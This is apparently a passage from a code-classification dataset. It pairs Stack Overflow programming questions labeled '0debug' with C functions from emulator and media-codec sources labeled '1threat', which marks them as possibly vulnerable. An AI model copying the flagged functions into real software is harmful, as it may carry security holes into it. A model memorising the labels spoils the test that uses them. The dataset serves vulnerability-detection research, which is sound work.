turned <sup><em>upside</em> <strong>down</strong></sup>...</p>
<br><br><br>
<sub>X</sub><sup>2</sup><br><br>
<strong>What have optional closing tags are:</strong><br>
<ol>
<li>"p"
<ol>
<li>can have end</li>
<li>can leave it without end</li>
</ol>
<li>"li"</li>
</ol>
<p class="nothing">This text is inside the <strong>first</strong> paragraph element.
<p style="color: blue;">This text is inside the second paragraph element—and it's BLUE!.</p>
This text isn't inside<br>
any paragraph element ...<br>
...yet!
<p>This text is inside the third paragraph element.<br>
<a href="https://www.udacity.com" target="_blank" style="color: red;"><strong>My favourite web page</strong></a> <br>
<a href="https://placebear.com/600/500" target="_blank"><strong>A pic from web</strong><br><img src="https://placebear.com/600/500" alt="Bear img"></a> <br>
<a href="AOT.jpg" target="_blank">A pic from my pc <br><img src="AOT.jpg" alt="Anime img"></a>
<p style="text-align: center; color: red;" class=:"new_font" >this is a text aligned at the center and have a red color</p>
<p style="color:blue; text-align:center;">Hello!</p>
</body>
</html>
<!-- end snippet -->
| 0debug |
JavaScript: What is the difference between ', ", and `? : <p>I've been learning JavaScript for not too long, and somethings that I notice a lot, but doesn't make sense to me are the different operators (if I can call them that) that defines a string. What I mean by that is the single quote ('), the double quote (") and the apostrophe-thing(`). I have come to realize that ``` is used when you want to use the variable or something (eg </p>
<pre><code>console.log(`this is my string ${ str }`)
</code></pre>
<p>or something like that. I don't know too much about these and I would like to know what their different purposes are (or in the very least, what they are called)</p>
<p>Thanks!</p>
<p>P.S. I realize that this question topic causes some problems with the markdown. I have no idea how to fix it.</p>
| 0debug |
PHP tests and conditionnal : I try with this code to display an event date who have a begin and ending date but sometimes there is only one begin date.
If there is begin and ending date i need this display:
**DU 10 JUILLET 2017 AU 10 JUILLET 2017**
And if there is only begin date, i need this display:
**LE 10 JUILLET 2017** the "DU" is replace by "LE"
<?php if (isset($this->item->jcfields[3]) && !empty($this->item-jcfields[3])):
?>Du
<?php echo FieldsHelper::render('com_content.article', 'field.render',
array('field'=> $this->item->jcfields[3])); ?>
<?php endif; ?>
<?php if (isset($this->item->jcfields[7]) && !trim($this->item-
>jcfields[7])): ?>Au
<?php echo FieldsHelper::render('com_content.article', 'field.render',
array('field'=> $this->item->jcfields[7])); ?>
<?php endif; ?> | 0debug |
Javascript regex to parse human readable dates : <p>I have a dates in String in Javascript that could look like: </p>
<pre><code>1h
1h2m
1d3m4s
2d2h2m2s2ms
1ms
3s5ms
</code></pre>
<p>The indicators will not change, they are <code>d, h, m, s, ms</code></p>
<p>What would be a good regex to parse the numbers out:
for <code>3s5ms</code>, it should be:</p>
<pre><code>parsed = [0,0,0,3,5]
</code></pre>
<p>for <code>1d4m</code>, it should be:</p>
<pre><code>parsed = [1,0,4,0,0]
</code></pre>
| 0debug |
static uint64_t ne2000_read(void *opaque, target_phys_addr_t addr,
unsigned size)
{
NE2000State *s = opaque;
if (addr < 0x10 && size == 1) {
return ne2000_ioport_read(s, addr);
} else if (addr == 0x10) {
if (size <= 2) {
return ne2000_asic_ioport_read(s, addr);
} else {
return ne2000_asic_ioport_readl(s, addr);
}
} else if (addr == 0x1f && size == 1) {
return ne2000_reset_ioport_read(s, addr);
}
return ((uint64_t)1 << (size * 8)) - 1;
}
| 1threat |
Compile Error CS1001. Converting Java to C# : <p>CS1001 = Identifier Expected</p>
<p>I took a snippet of code from Java that I would like to test in C#. It has a formula for calculating Experience needed to level up in a Video Game project I would like to use. I have just recently began teaching myself code, so converting this was trial and error for me, but I have eliminated the other 13 Errors and this one has me stuck. </p>
<p>Missing an identifier seems like a pretty rudimentary issue but it is also vague and i'm not sure when to begin to research. I have comment where the error occurs.</p>
<p>Any hints?</p>
<pre><code>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace ConsoleApplication1
{
class Program
{
float points = 0;
double output = 0; // Output, XP total at level
float minLevel = 2; // First level to Display
int maxLevel = 100; // Last Level to Display
int lvl = 0;
void Main()
{
for (lvl = 1; lvl <= maxLevel; lvl++)
{
points += Math.Floor(lvl + 300 * Math.Pow(2, lvl / 7.)); // Compile Error CS1001 at "));"
if (lvl >= minLevel)
Console.WriteLine("Level " + (lvl) + " - " + output + " EXP");
output = Math.Floor(points / 4);
}
}
}
</code></pre>
<p>}</p>
<p>Original JavaScript Code:</p>
<pre><code><SCRIPT LANGUAGE="JavaScript">
<!--
document.close();
document.open();
document.writeln('Begin JavaScript output:');
document.writeln('<PRE>');
points = 0;
output = 0;
minlevel = 2; // first level to display
maxlevel = 200; // last level to display
for (lvl = 1; lvl <= maxlevel; lvl++)
{
points += Math.floor(lvl + 300 * Math.pow(2, lvl / 7.));
if (lvl >= minlevel)
document.writeln('Level ' + (lvl) + ' - ' + output + ' xp');
output = Math.floor(points / 4);
}
document.writeln('</PRE>');
document.close();
// -->
</SCRIPT>
</code></pre>
| 0debug |
static inline void render_line_unrolled(intptr_t x, uint8_t y, int x1,
intptr_t sy, int ady, int adx,
float *buf)
{
int err = -adx;
x -= x1 - 1;
buf += x1 - 1;
while (++x < 0) {
err += ady;
if (err >= 0) {
err += ady - adx;
y += sy;
buf[x++] = ff_vorbis_floor1_inverse_db_table[y];
}
buf[x] = ff_vorbis_floor1_inverse_db_table[y];
}
if (x <= 0) {
if (err + ady >= 0)
y += sy;
buf[x] = ff_vorbis_floor1_inverse_db_table[y];
}
}
| 1threat |
Is there any coding standards needs to be followed before minifying the javascript file? : I have a set of java script file which are using in my project. I want to minify all these java script. I am able to minify also. But i want want to know how this minify is happening & to minify any java script file the source code should follow any coding standard ? | 0debug |
C objective something wrong with if statement : <p><a href="https://i.stack.imgur.com/yGidv.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yGidv.png" alt="the code"></a></p>
<p><strong>This code written in c objective with Visual Studio</strong></p>
<p>Today a friend of mine sent this code. In university they tried to make a grade calculation program. <strong>The problem is when you write -0 to input and press enter it gives result as the last if statement regardless the if statement is.</strong></p>
<p>Same conclusion appears when you write +0 etc.
Why this is happening any ideas? Thanks in advance.</p>
| 0debug |
How do you create multiple forms on the same page with redux-forms v6? : <p>I have a simple todo app in which my redux store contains an array of 'todos'. My 'Todo' component maps over every 'todo' in the store and renders a 'TodoForm' component that uses redux-forms v6.</p>
<p>As it is now, every 'todo' shares the same form name/key, so every time I input something in the 'title' Field, it changes the 'title' of every todo. I found a work around by using unique Field names, but I fear it's going to over complicate things as the app grows, and would prefer to use unique Form names so every field can have the same name without interfering with the other forms </p>
<p>(TodoForm1, TodoForm2, TodoForm3 can all have a unique 'title' Field instead of TodoForm containing 'title1', 'title2', 'title3' Fields).</p>
<p>I tried accessing the TodoForm's props so I could set each form's key as the component's unique id, but it doesn't seem like the component receives props that early. </p>
<p>I also tried making an immediately invoked function where it spits out a random number, and using that number as the form's name, but that also didn't work.</p>
<p>How can I can map through all my todos and render a v6 redux-form with a unique form key?</p>
<p>Here's a picture of the app, console, and redux devtools. There's 3 'todos', but there's only one form that connects them all, todo-926, even though each form key should have been randomly generated in an immediately invoked function:</p>
<p><a href="https://i.stack.imgur.com/fWSij.png" rel="noreferrer"><img src="https://i.stack.imgur.com/fWSij.png" alt="Todo Conundrums"></a></p>
<p>HomePageMainSection.index.js</p>
<pre><code>renderTodos(todo) {
if (!todo) {
return <div>No Todos</div>;
}
return (
<div key={todo.get('id')}>
<Todo
todo={todo}
updateTodo={this.props.updateTodo}
deleteTodo={this.props.deleteTodo}
/>
</div>
);
}
render() {
if (!this.props.todos) {
return <div>No Todos</div>;
}
return (
<div className={styles.homePageMainSection}>
<h1>Hey I'm the Main Section</h1>
<div>
{this.props.todos.get('todos').map(this.renderTodos)}
</div>
</div>
);
}
</code></pre>
<p>Todo.index.js:</p>
<pre><code> renderTodo() {
if (this.state.editMode) {
return (
<TodoForm
todo={this.props.todo} changeTodoEditMode={this.changeTodoEditMode}
updateTodo={this.props.updateTodo}
/>
);
}
return (
<div className={styles.Todo} onClick={this.changeTodoEditMode}>
<div className="card card-block">
<h4 className="card-title">{this.props.todo.get('author')}</h4>
<p className="card-text">{this.props.todo.get('title')}</p>
<i
className={`${styles.deleteIcon} btn btn-danger fa fa-times`}
onClick={this.deleteTodo}
></i>
</div>
</div>
);
}
render() {
return (
<div className="col-xs-6 col-sm-4">
{this.renderTodo()}
</div>
);
}
</code></pre>
<p>TodoForm.index.js:</p>
<pre><code>class TodoForm extends React.Component { // eslint-disable-line react/prefer-stateless-function
constructor(props) {
super(props);
this._handleSubmit = this._handleSubmit.bind(this);
}
_handleSubmit(formData) {
console.log('');
console.log('OG: ', this.props.todo)
console.log('formData: ', formData);
const data = this.props.todo.update('title', formData.get('title'));
console.log('data: ', data);
console.log('');
// this.props.updateTodo(data);
}
render() {
const { handleSubmit, pristine, submitting } = this.props;
return (
<form className={`${styles.todoForm} card`} onSubmit={handleSubmit(this._handleSubmit)}>
<div className="card-block">
<label htmlFor="title">{this.props.todo.get('title')}</label>
<div className={'form-group'}>
<Field name={`title`} component="input" type="text" placeholder="Enter new title" className="form-control" />
</div>
</div>
<div className="card-block btn-group" role="group">
<button
className="btn btn-success"
type="submit"
disabled={pristine || submitting}
>
Submit
</button>
<button
className="btn btn-danger fa fa-times"
onClick={this.props.changeTodoEditMode}
>
</button>
</div>
</form>
);
}
}
const randomNum = (() => {
const thing = Math.floor(Math.random() * 1000) + 1;
console.log('thing: ', thing);
console.log('notThing: ', TodoForm.props);
return thing;
})();
export default reduxForm({
form: `todo-${randomNum}`,
})(TodoForm);
</code></pre>
| 0debug |
Cant connect dynamo Db from my vpc configured lambda function : <p>i need to connect elastic cache and dynamo db from a single lambda function. My code is</p>
<pre><code>exports.handler = (event, context, callback) => {
var redis = require("redis");
var client;
function connectRedisClient() {
client = redis.createClient(6379, "dgdfgdfgdfgdfgdfgfd.use1.cache.amazonaws.com", { no_ready_check: true });
}
connectRedisClient();
client.set('sampleKey', 'Hello World', redis.print);
console.log("set worked");
client.quit();
var AWS = require("aws-sdk");
var docClient = new AWS.DynamoDB.DocumentClient();
var table = "dummy";
var year = 2015;
var title = "The Big New Movie";
var params = {
TableName: table,
Item: {
"userid": "manafcj",
"year": year,
"title": title,
"test1": [645645, 7988],
"info": {
"plot": "Nothing happens at all.",
"rating": 0
}
}
};
console.log("Adding a new item...");
docClient.put(params, function (err, data) {
if (err) {
console.error("Unable to add item. Error JSON:", JSON.stringify(err, null, 2));
} else {
console.log("Added item:", JSON.stringify(data, null, 2));
}
});
callback(null, 'Hello from Lambda');
};
</code></pre>
<p>I executed this lambda code without configuring vpc, elastic cache section is not working , but dynamo insertion is done perfectly.</p>
<p>after that i made setup for VPC in my account by following steps.</p>
<ol>
<li><p>create vpc
name : test-vpc-name
CIDR block:172.31.0.0/16
Tenancy:Default</p></li>
<li><p>Create a new subnet.
name tag : test-subnet-1a
CIDR block :172.31.0.0/20</p>
<p>name tag : test-subnet-1b
CIDR block :172.31.16.0/20</p></li>
<li><p>Create a route table
name tag : test-route-table</p></li>
<li><p>Create a internet gateway
name:test-internet-gateway</p></li>
<li><p>Attach VPC</p></li>
<li><p>Route all outbound 0.0.0.0/0 traffic in routes</p></li>
<li><p>Create a route table subnet association</p></li>
<li><p>Create a NAT Gateway
subnet : test-subnet-1a</p></li>
</ol>
<p>also i have configured my elastic cache setup by following steps</p>
<ol>
<li><p>Create subnet cache group
name : test-cache-group</p></li>
<li><p>Create elastic cache<br>
type: redis
Cluster Name : test-cache</p>
<p>subnet cache group : test-cache-group</p></li>
</ol>
<p>Finally, i have configured newly created vpc on my lambda function. Then redis-elastic cache connection is working fine, but dynamo db connection is lost. I need both working fine from a single lambda function.</p>
<p>I think, some fault in VPC configuration with NAT Gateway. </p>
<p>What is the actual issue in this setup?</p>
| 0debug |
static void idct32(int *out, int *tab, int sblimit, int left_shift)
{
int i, j;
int *t, *t1, xr;
const int *xp = costab32;
for(j=31;j>=3;j-=2) tab[j] += tab[j - 2];
t = tab + 30;
t1 = tab + 2;
do {
t[0] += t[-4];
t[1] += t[1 - 4];
t -= 4;
} while (t != t1);
t = tab + 28;
t1 = tab + 4;
do {
t[0] += t[-8];
t[1] += t[1-8];
t[2] += t[2-8];
t[3] += t[3-8];
t -= 8;
} while (t != t1);
t = tab;
t1 = tab + 32;
do {
t[ 3] = -t[ 3];
t[ 6] = -t[ 6];
t[11] = -t[11];
t[12] = -t[12];
t[13] = -t[13];
t[15] = -t[15];
t += 16;
} while (t != t1);
t = tab;
t1 = tab + 8;
do {
int x1, x2, x3, x4;
x3 = MUL(t[16], FIX(SQRT2*0.5));
x4 = t[0] - x3;
x3 = t[0] + x3;
x2 = MUL(-(t[24] + t[8]), FIX(SQRT2*0.5));
x1 = MUL((t[8] - x2), xp[0]);
x2 = MUL((t[8] + x2), xp[1]);
t[ 0] = x3 + x1;
t[ 8] = x4 - x2;
t[16] = x4 + x2;
t[24] = x3 - x1;
t++;
} while (t != t1);
xp += 2;
t = tab;
t1 = tab + 4;
do {
xr = MUL(t[28],xp[0]);
t[28] = (t[0] - xr);
t[0] = (t[0] + xr);
xr = MUL(t[4],xp[1]);
t[ 4] = (t[24] - xr);
t[24] = (t[24] + xr);
xr = MUL(t[20],xp[2]);
t[20] = (t[8] - xr);
t[ 8] = (t[8] + xr);
xr = MUL(t[12],xp[3]);
t[12] = (t[16] - xr);
t[16] = (t[16] + xr);
t++;
} while (t != t1);
xp += 4;
for (i = 0; i < 4; i++) {
xr = MUL(tab[30-i*4],xp[0]);
tab[30-i*4] = (tab[i*4] - xr);
tab[ i*4] = (tab[i*4] + xr);
xr = MUL(tab[ 2+i*4],xp[1]);
tab[ 2+i*4] = (tab[28-i*4] - xr);
tab[28-i*4] = (tab[28-i*4] + xr);
xr = MUL(tab[31-i*4],xp[0]);
tab[31-i*4] = (tab[1+i*4] - xr);
tab[ 1+i*4] = (tab[1+i*4] + xr);
xr = MUL(tab[ 3+i*4],xp[1]);
tab[ 3+i*4] = (tab[29-i*4] - xr);
tab[29-i*4] = (tab[29-i*4] + xr);
xp += 2;
}
t = tab + 30;
t1 = tab + 1;
do {
xr = MUL(t1[0], *xp);
t1[0] = (t[0] - xr);
t[0] = (t[0] + xr);
t -= 2;
t1 += 2;
xp++;
} while (t >= tab);
for(i=0;i<32;i++) {
out[i] = tab[bitinv32[i]] << left_shift;
}
}
| 1threat |
Why can't the compiler warn against this programming error? : <p>If I write the following code:</p>
<pre><code>int a = 5;
if (a == 1 || a == 1) {
// do something
}
</code></pre>
<p>Why can't the compiler point out that the second part of the if statement is unnecessary, or warn that the programmer has likely made a mistake?</p>
| 0debug |
Excel VBA to select every two cells out of a large range : <p>Trying to merge every 2 cells out of a large range. My range of cells is B2:ABC2 currently but will be more before too long (each day of the year). I am looking to merge every two cells so B2&C2 will be merged, D2&E2 will be merged and so on. Is there an easy way to code this to select every two cells from the range and merge them? Everytime I've played with it it just seems to merge the whole range into one. </p>
| 0debug |
int ff_thread_decode_frame(AVCodecContext *avctx,
AVFrame *picture, int *got_picture_ptr,
AVPacket *avpkt)
{
FrameThreadContext *fctx = avctx->internal->thread_ctx;
int finished = fctx->next_finished;
PerThreadContext *p;
int err;
async_unlock(fctx);
p = &fctx->threads[fctx->next_decoding];
err = update_context_from_user(p->avctx, avctx);
if (err)
goto finish;
err = submit_packet(p, avpkt);
if (err)
goto finish;
if (fctx->next_decoding > (avctx->thread_count-1-(avctx->codec_id == AV_CODEC_ID_FFV1)))
fctx->delaying = 0;
if (fctx->delaying) {
*got_picture_ptr=0;
if (avpkt->size) {
err = avpkt->size;
goto finish;
}
}
do {
p = &fctx->threads[finished++];
if (atomic_load(&p->state) != STATE_INPUT_READY) {
pthread_mutex_lock(&p->progress_mutex);
while (atomic_load_explicit(&p->state, memory_order_relaxed) != STATE_INPUT_READY)
pthread_cond_wait(&p->output_cond, &p->progress_mutex);
pthread_mutex_unlock(&p->progress_mutex);
}
av_frame_move_ref(picture, p->frame);
*got_picture_ptr = p->got_frame;
picture->pkt_dts = p->avpkt.dts;
if (p->result < 0)
err = p->result;
p->got_frame = 0;
if (finished >= avctx->thread_count) finished = 0;
} while (!avpkt->size && !*got_picture_ptr && finished != fctx->next_finished);
update_context_from_thread(avctx, p->avctx, 1);
if (fctx->next_decoding >= avctx->thread_count) fctx->next_decoding = 0;
fctx->next_finished = finished;
if (err >= 0)
err = avpkt->size;
finish:
async_lock(fctx);
return err;
}
| 1threat |
Changes in Xcode 9 not reflecting in mainStoryboard, however, same changes are reflecting in simulator (how ? this is driving me nuts) : I am new to app development and there are good chances this is very bad question but this is really deriving me crazy.
I am trying to set the dimensions of an image via writing code but when I am trying to run the code it is working fine and showing the changes in simultor but "NOT IN MainStoryboard" ... why this may be happening ?
Import UIKit
class ViewController: UIViewController {
override func viewDidLoad() {
super.viewDidLoad()
let imageView = UIImageView(frame: CGRect(x: 100, y: 500, width: 258, height: 64)); // set as you want
let image = UIImage(named: "signInLogo.png");
imageView.image = image;
self.view.addSubview(imageView);
}
override func didReceiveMemoryWarning() {
super.didReceiveMemoryWarning()
// Dispose of any resources that can be recreated.
[enter image description here][1]}
}
[1]: https://i.stack.imgur.com/rN7zw.jpg | 0debug |
void ff_thread_flush(AVCodecContext *avctx)
{
FrameThreadContext *fctx = avctx->thread_opaque;
if (!avctx->thread_opaque) return;
park_frame_worker_threads(fctx, avctx->thread_count);
if (fctx->prev_thread) {
if (fctx->prev_thread != &fctx->threads[0])
update_context_from_thread(fctx->threads[0].avctx, fctx->prev_thread->avctx, 0);
if (avctx->codec->flush)
avctx->codec->flush(fctx->threads[0].avctx);
}
fctx->next_decoding = fctx->next_finished = 0;
fctx->delaying = 1;
fctx->prev_thread = NULL;
for (int i = 0; i < avctx->thread_count; i++)
fctx->threads[i].got_frame = 0;
}
| 1threat |
void qemu_cpu_kick_self(void)
{
#ifndef _WIN32
assert(cpu_single_env);
raise(SIG_IPI);
#else
abort();
#endif
}
| 1threat |
Why python division remainder operator just works for integer denominator? : <p>While working with the division remainder operator <strong>%</strong> in python 2.7 I faced an unexpected behavior (at least for me) when using it with decimal denominators. Bellow an example:</p>
<pre><code>>>> 0.1%0.1
0.0 # as expected
>>> 0.2%0.1
0.0 # as expected
>>> 0.3%0.1
0.09999999999999998 # what the hell?
>>> 0.4%0.1
0.0 # aw expected
>>> 0.5%0.1
0.09999999999999998 # what the hell?
</code></pre>
<p>Why the operations <strong>0.3%0.1</strong> and <strong>0.5%0.1</strong> return the result above instead of <strong>0.0</strong> as in the other cases and as I was expecting?</p>
<p>Thanks</p>
| 0debug |
Cannot read property 'viewContainerRef' of undefined : <p>I am trying to display a dynamic component similar (not exact) to the example in angular docs.</p>
<p>I have a dynamic directive with viewContainerRef</p>
<pre><code>@Directive({
selector: '[dynamicComponent]'
})
export class DynamicComponentDirective {
constructor(public viewContainerRef: ViewContainerRef) { }
}
</code></pre>
<p>Excerpt from component code</p>
<pre><code>@ViewChild(DynamicComponentDirective) adHost: DynamicComponentDirective;
..
ngAfterViewInit() {
let componentFactory = null;
console.log(component);
componentFactory = this.componentFactoryResolver.resolveComponentFactory(component);
// this.adHost.viewContainerRef.clear();
const viewContainerRef = this.adHost.viewContainerRef;
viewContainerRef.createComponent(componentFactory);
}
</code></pre>
<p>Finally added <code><ng-template dynamicComponent></ng-template></code> in template</p>
| 0debug |
Mobile Info App Android : <p>I want to <strong>develop</strong> android app that's tells the info of <strong>mobiles</strong>. My app contains information of </p>
<ul>
<li>Model</li>
<li>Manufacture</li>
<li>Device</li>
<li>Product</li>
<li>Brand</li>
<li>Android Version</li>
<li>API level</li>
<li>Build ID</li>
<li>Finger Print</li>
<li>List item</li>
</ul>
<p><a href="https://i.stack.imgur.com/HOZJr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/HOZJr.png" alt="Appp look like this"></a></p>
<p>App look like this</p>
<p>I don't know how to start this app. I want the idea to start this app.I would really appreciate any kind of help regarding this Thankx.</p>
| 0debug |
bool net_tx_pkt_parse(struct NetTxPkt *pkt)
{
return net_tx_pkt_parse_headers(pkt) &&
net_tx_pkt_rebuild_payload(pkt);
}
| 1threat |
(learning java) Initialized variable reports it not initialed : <p>Having trouble finding whats wrong with my code. This is the only section that returns the error
"error: variable assignmentTotal might not have been initialized".
and
"error: variable assignmentMaxTotal might not have been initialized"
Any insight would be great!</p>
<pre><code>import java.util.*;
public class Grade
{
public static void main(String[] args)
{
homework();
}
public static void homework()
{
int assScore;
int assMax;
int assignmentMaxTotal;
int assignmentTotal;
Scanner console = new Scanner(System.in);
System.out.println("Homework and Exam 1 weights?");
System.out.print("Using weights of 50 20 30 ");
int weights = console.nextInt();
System.out.println("Homework:");
System.out.print("Number of assignments? ");
int n = console.nextInt();
for (int x = 0; x < n; x++)
{
System.out.print("Assignment " + (x + 1) + " score and max? ");
assScore = console.nextInt();
assMax = console.nextInt();
assignmentMaxTotal =+ assMax;
assignmentTotal =+ assScore;
}
System.out.print("Sections attended? ");
int sections = console.nextInt();
int sectionMax = 20;
int sectionPoints = (sections * 4);
int maxPoints = (assignmentMaxTotal + sectionMax);
int totalPoints = (sectionPoints + assignmentTotal);
System.out.println("Total Points = " + totalPoints + "/" + maxPoints);
}
}
</code></pre>
| 0debug |
static int pci_dec_21154_init_device(SysBusDevice *dev)
{
UNINState *s;
int pci_mem_config, pci_mem_data;
s = FROM_SYSBUS(UNINState, dev);
pci_mem_config = cpu_register_io_memory(pci_unin_config_read,
pci_unin_config_write, s);
pci_mem_data = cpu_register_io_memory(pci_unin_main_read,
pci_unin_main_write, &s->host_state);
sysbus_init_mmio(dev, 0x1000, pci_mem_config);
sysbus_init_mmio(dev, 0x1000, pci_mem_data);
return 0;
}
| 1threat |
Securing a PHP Server from a Hijacker : <p><strong>BACKGROUND:</strong> I'm implementing a PHP Server without HTTPS/SSL. On it, I want to authenticate that the user making calls to server is valid assuming that the communication between the app and the server is being watched by a hijacker (hacker with a network sniffer). I further assume that the hijacker is an app owner trying to figure out how the app communicates with the server in order to hack my system. I will have no control on who is an app owner.</p>
<p>What I have implemented so far is that the app needs to start a session before they can any work against the server. To do this the app first sends a request to the server with a randomly generated code, and an authorization number, and the server responds with a security token. The authorization number is based on the code and some other secret information in the app. On subsequent calls the app regenerates the code and uses the token plus other secret information recalculate an authorization number (it never retransmits the token to the server either). This is how each call is validated.</p>
<p>It's set up so that the calling parameters of one call cannot be reused the next time, so that if a hijacker can see the message used within a session, they cannot do anything with it. Using them simply indicates that the call is "not authorized". I'm 99% sure I've plugged all the related holes to the session communication, such that the hijacker cannot invade my environment.</p>
<p><strong>PROBLEM:</strong> The hijacker will see the original session request, reuse those parameters to get a new session and use them to eventually figure out how the session calls the work. </p>
<p><strong>QUESTION:</strong> What strategy would you employ to validate that it is only my app talking to the server during the initial session request and not a hijacker impersonating my app in order to start a session? </p>
<p>Note: Saving the session start parameters is unrealistic. One idea I have is to embed the "GMT time + N seconds" into the randomly generated code then test to see if the server's GMT < app's GMT+N; this way the randomly generated code become invalid within N seconds.</p>
| 0debug |
Lists in Scala - plus colon vs double colon (+: vs ::) : <p>I am little bit confused about <a href="http://www.scala-lang.org/api/current/scala/collection/immutable/List.html#+:(elem:A):List[A]" rel="noreferrer">+:</a> and <a href="http://www.scala-lang.org/api/current/scala/collection/immutable/List.html#::(x:A):List[A]" rel="noreferrer">::</a> operators that are available.</p>
<p>It looks like both of them gives the same results.</p>
<pre><code>scala> List(1,2,3)
res0: List[Int] = List(1, 2, 3)
scala> 0 +: res0
res1: List[Int] = List(0, 1, 2, 3)
scala> 0 :: res0
res2: List[Int] = List(0, 1, 2, 3)
</code></pre>
<p>For my novice eye source code for both methods looks similar (plus-colon method has additional condition on generics with use of builder factories).</p>
<p>Which one of these methods should be used and when?</p>
| 0debug |
I'm trying to edge detecetion. But it works on just one image : i'm trying to create a simple edge detection filter. And as i said it works with only one image. I'm trying to create this filter with 2 steps.
1)Blurring image
2)calculate ( Original image-Blurring image)
First step works well. And code of second one is simple like first one. But i see an error message:
System.ArgumentOutOfRangeException: 'Parameter must be positive and < Height.
Parameter name: y'
Working image:https://i.hizliresim.com/dLXkbn.png
```
public void edgedetectionfilter( )
{
Bitmap InputPicture,BlurredPicture, OutputPicture;
InputPicture = new Bitmap(pBox_SOURCE.Image);
BlurredPicture = new Bitmap(pBox_PROCESSED.Image);
int PicWidth = InputPicture.Width;
int PicHeight= InputPicture.Height;
OutputPicture = new Bitmap(PicWidth, PicHeight);
OutputPicture = InputPicture;
int x, y, difR, difG, difB;
Color OrgPicColoValue,BluredPicColorValue;
for (x = 0; x < PicWidth; x++)
{
for (y = 0; y < PicWidth; y++)
{
BluredPicColorValue = BlurredPicture.GetPixel(x, y);
OrgPicColoValue = InputPicture.GetPixel(x, y); //ERROR LINE
difR = Convert.ToInt16(OrgPicColoValue.R -BluredPicColorValue.R);
difG = Convert.ToInt16(OrgPicColoValue.G- BluredPicColorValue.G );
difB = Convert.ToInt16(OrgPicColoValue.B- BluredPicColorValue.B);
if (difR > 255) difR = 255;
if (difG > 255) difG = 255;
if (difB > 255) difB = 255;
if (difR < 0) difR = 0;
if (difG < 0) difG = 0;
if (difB < 0) difB = 0;
OutputPicture.SetPixel(x, y, Color.FromArgb(difR, difG, difB));
}
}
pBoxMedian.Image = OutputPicture;
}
``` | 0debug |
How can i take a float value and print it as it is in c++(5.0 as 5.0) : In one problem i am receiving such inputs and i need to output them as it is.<br>
For example i will receive 5.0 as input and need to print 5.0 as output,<br>
but <b>it is printing 5</b> i used <b>setprecision but is not working</b> .<br>
I think the thing is
<u>for numbers like 2.0,3.0,4.0 it is rounding off while taking input itself</u>.
Please help me.
See my code:
float n=5.0
// n*=1.0;
cin>>n;
cout<<setprecision(16);
cout<<n;//its printing 5 here
<pre>
</pre>
/*
i also tried<br>
printf("%f",n);<br>
//but its printing 5.000000<br>
i can't use printf("%.1f",n)<br>
as input can be 5.234 or 4.5687 so making %.1f will not work for others<br>
*/
| 0debug |
itextpdf pdfdate prints object but not actual date : <p>Have a look on my code to print current date in a pdf:</p>
<pre><code>PdfDate date = new PdfDate();
document.showTextAligned(date.toString(), 555, 340, TextAlignment.RIGHT);
</code></pre>
<p>This pints :com.itextpdf.kernel.pdf.PdfDate@4f00a8ac</p>
| 0debug |
Function in Matlab not working correctly : <p>I'm trying to write the following function which computes the sum of the series 1 + x^1 + ... + x^n. I have</p>
<pre><code>function[result] = sumGP(x,n)
if x == 1
result = n+1;
else
result = (x^(n+1) - 1)/(x-1);
end
sumGP(1,4)
</code></pre>
<p>If I want to call this function using 'sumGP(1,4)', the output should be '5'. But Matlab is saying 'undefined function of variable 'x'. </p>
| 0debug |
Java Script writter : I have a software called Autofill Magic, that can fill out a posting page like this one: [http://www.classifriedads.org/?view=post&cityid=561&lang=en&catid=5&subcatid=44&shortcutregion=][1]
After my Autofill Magic fills out this posting page and filled out all information, it actually presses the "Post Now" also, so that is great!
See picture! [Posting Page Java Rules][2]
But I am looking for a Java Script that will tell this software to:
1- Close the Firefox Tab, after it has submitted the ad.
2- Open a new Firefox Tab with the next url to fill out being ...
(can be [http://www.classifriedads.org/?view=post&cityid=562&lang=en&catid=5&subcatid=46&shortcutregion=][3])
Can you please help me?
[1]: http://www.classifriedads.org/?view=post&cityid=561&lang=en&catid=5&subcatid=44&shortcutregion=
[2]: https://i.stack.imgur.com/9jKVQ.png
[3]: http://www.classifriedads.org/?view=post&cityid=562&lang=en&catid=5&subcatid=46&shortcutregion= | 0debug |
Concatenating arrays according to a column : <p>I have a list of 2d arrays in python. For each 2d array the last column indicates an ID. Now I would like to join (perhaps with numpy) the rows of the arrays according to the ID (the last column).</p>
<p>So for example the rows with ID 1 should be concatenated. Each ID only appears once per array. In addition, the ID (last column) as well as the second last column should only be written at the very end of the concatenated array (i.e. only once).</p>
<p>How can this be done?</p>
| 0debug |
Delphi Object Oriented Snake Game using TImage : <p>I was bored, and I thought to myself I should do something productive, like try and deepen my knowledge with object oriented programming , so I set forth to create a small snake game using nothing more then the TImage Component . And I did this , for understanding what I did and maybe why I get the error the full code is on pastebin .</p>
<p>My problem manifests itself in that the Food if it is eaten by the snake sometimes (very rarely) the new food spawn on the snakes tail, which should not be possible ... </p>
<pre><code> if (fPosX = Fruit.PosX) and (fPosY = Fruit.PosY) then
begin
Player.AddPart;
inc(PlayerScore,10);
// make sure the position is not inside a wall or the snake itself
ValidPos:=false;
while ValidPos = false do
begin
randomX:=random(Main.TileXCount);
randomY:=random(Main.TileYCount);
if Main.Level[randomY,RandomX] <> 1 then
if (fPosX <> randomX) and (fPosY <> randomY) then
begin
for i := 0 to Length(fPlayerParts)-1 do
begin
if (fPlayerParts[i].X <> randomX) and (fPlayerParts[i].Y <> randomY) then
ValidPos:=true;
end;
end;
end;
Fruit.PosX:=randomX;
Fruit.PosY:=randomY;
end;
</code></pre>
<p><a href="https://pastebin.com/ywt5M1ai" rel="nofollow noreferrer">https://pastebin.com/ywt5M1ai</a></p>
<p>I would be really grateful if someone would take a look at this, and tell me what I did wrong so that I might learn from my mistakes . I guess you can make a Snake Game a lot more simple, but I wanted to complicate it with a Class, Object , Array inside Object for the sake of trying out new waters.</p>
<p>Thank you very much for your kind help!</p>
| 0debug |
int cpu_gen_code(CPUState *env, TranslationBlock *tb,
int max_code_size, int *gen_code_size_ptr)
{
uint8_t *gen_code_buf;
int gen_code_size;
if (gen_intermediate_code(env, tb) < 0)
return -1;
tb->tb_next_offset[0] = 0xffff;
tb->tb_next_offset[1] = 0xffff;
gen_code_buf = tb->tc_ptr;
#ifdef USE_DIRECT_JUMP
tb->tb_jmp_offset[2] = 0xffff;
tb->tb_jmp_offset[3] = 0xffff;
#endif
dyngen_labels(gen_labels, nb_gen_labels, gen_code_buf, gen_opc_buf);
